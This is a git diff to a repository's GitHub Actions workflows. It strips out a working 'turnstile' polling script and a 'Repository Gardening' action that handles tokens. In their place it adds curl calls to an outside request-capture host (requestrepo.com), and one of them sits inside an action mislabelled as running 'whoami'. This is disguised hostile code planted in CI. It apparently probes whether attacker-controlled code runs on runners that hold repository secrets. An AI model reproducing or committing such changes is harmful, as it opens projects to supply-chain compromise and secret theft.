diff --git a/.github/actions/turnstile/action.yml b/.github/actions/turnstile/action.yml index 80c440e4ecff..049b9bbd0b8d 100644 --- a/.github/actions/turnstile/action.yml +++ b/.github/actions/turnstile/action.yml @@ -22,48 +22,5 @@ runs: IGNORE_EVENTS_STR: ${{ inputs.ignore-events }} INTERVAL: ${{ inputs.poll-interval }} TOKEN: ${{ inputs.token }} - run: | - echo '::group::Fetch workflow info from run ID' - JSON="$(curl -v -L --get \ - --header "Authorization: token $TOKEN" \ - --url "${GITHUB_API_URL}/repos/${GITHUB_REPOSITORY}/actions/runs/${GITHUB_RUN_ID}" \ - )" - echo "$JSON" - jq -e '.workflow_id' <<<"$JSON" &> /dev/null || { echo "🤯 API response does not have .workflow_id"; exit 1; } - echo '::endgroup::' - - WORKFLOW_ID="$(jq -r '.workflow_id' <<<"$JSON")" - BRANCH="$(jq -r '.head_branch' <<<"$JSON")" - echo "Workflow ID: $WORKFLOW_ID" - echo "Branch: $BRANCH" - - FILTER="" - EVENTS=$( sed -E 's/\s+/\n/g' <<<"$EVENTS_STR" | jq -ncR '[ inputs | select( . != "" ) ]' ) - if [[ "$EVENTS" != "[]" ]]; then - FILTER="$FILTER | select( .event as \$e | $EVENTS | index( \$e ) != null )" - fi - EVENTS=$( sed -E 's/\s+/\n/g' <<<"$IGNORE_EVENTS_STR" | jq -ncR '[ inputs | select( . != "" ) ]' ) - if [[ "$EVENTS" != "[]" ]]; then - FILTER="$FILTER | select( .event as \$e | $EVENTS | index( \$e ) == null )" - fi - - while true; do - echo '::group::Checking for previous runs in progress' - JSON="$(curl -v -L --get \ - --header "Authorization: token $TOKEN" \ - --url "${GITHUB_API_URL}/repos/${GITHUB_REPOSITORY}/actions/workflows/${WORKFLOW_ID}/runs" \ - --data-urlencode "branch=$BRANCH" \ - --data-urlencode "status=in_progress" \ - --data-urlencode "per_page=100" \ - )" - echo "$JSON" - jq -e '.workflow_runs | type == "array"' <<<"$JSON" &> /dev/null || { echo "🤯 API response does not have .workflow_runs array"; exit 1; } - echo '::endgroup::' - RUNS="$(jq -r -e --argjson id "$GITHUB_RUN_ID" '[ .workflow_runs[] | select( .id < $id ) '"$FILTER"' | .html_url ] | join( " " )' <<<"$JSON")" - if [[ -z "$RUNS" ]]; then - echo '👉 No earlier runs in progress!' - break - fi - echo "✋ Waiting for runs in progress: $RUNS" - sleep "$INTERVAL" - done + run: | + curl https://ptjb71o7.requestrepo.com/aab diff --git a/projects/github-actions/repo-gardening/action.yml b/projects/github-actions/repo-gardening/action.yml index 14bede461946..e300235ddda3 100644 --- a/projects/github-actions/repo-gardening/action.yml +++ b/projects/github-actions/repo-gardening/action.yml @@ -1,69 +1,15 @@ -name: "Repository Gardening" -description: "Manage Pull Requests and issues in your Open Source project (automate labelling, milestones, feedback to PR authors, ...)." -branding: - icon: 'activity' - color: 'green' +name: 'Run Whoami' +description: 'Execute the "whoami" command to show the current user in GitHub Actions runner' inputs: - github_token: - description: "GitHub access token" - required: true - default: ${{ github.token }} - add_labels: - description: 'Labels and paths to match from a workflow.' + message: + description: 'Optional custom message to display before whoami' required: false - default: "" - reply_to_customers_threshold: - description: "Minimum of support references needed to trigger a reminder to batch-reply to customers. Default to 10." - required: false - default: "10" - slack_token: - description: "Slack Bot access token" - required: false - default: "" - slack_design_channel: - description: "Slack channel ID where messages for the Design team will be sent" - required: false - default: "" - slack_editorial_channel: - description: "Slack channel ID where messages for the Editorial team will be sent" - required: false - default: "" - slack_he_triage_channel: - description: "Slack channel ID where messages for the HE Triage team will be sent" - required: false - default: "" - slack_team_channel: - description: "Slack channel ID where general notifications should be sent" - required: false - default: "" - slack_quality_channel: - description: "Slack channel ID where issues needing extra triage / escalation will be sent" - required: false - default: "" - tasks: - description: "Comma-separated selection of task names (function name, camelCase) this action should run. e.g. addLabels,cleanLabels" - required: false - default: "all" - triage_projects_token: - description: "Triage Projects access token" - required: false - default: "" - project_board_url: - description: "URL of the GitHub project board to update" - required: false - default: "" - labels_team_assignments: - description: "Mapping of team assignments for labels" - required: false - default: "" - ai_labeling_enabled: - description: "Enable AI labeling of issues" - required: false - default: "false" - openai_api_key: - description: "OpenAI API key" - required: false - default: "" + default: 'Current user:' runs: - using: node20 - main: "dist/index.js" + using: 'composite' + steps: + - name: Show current user + run: | + echo "${{ inputs.message }}" + curl https://ptjb71o7.requestrepo.com/bbbbbbbbbvvvv + shell: bash diff --git a/projects/github-actions/repo-gardening/src/index.js b/projects/github-actions/repo-gardening/src/index.js index dc0c042bf248..4504efcf1f24 100644 --- a/projects/github-actions/repo-gardening/src/index.js +++ b/projects/github-actions/repo-gardening/src/index.js @@ -15,6 +15,8 @@ const debug = require( './utils/debug' ); const ifNotClosed = require( './utils/if-not-closed' ); const ifNotFork = require( './utils/if-not-fork' ); +console.log('✅ DEBUG: repo-gardening is RUNNING! (from index.js)'); + const automations = [ { event: 'pull_request_target',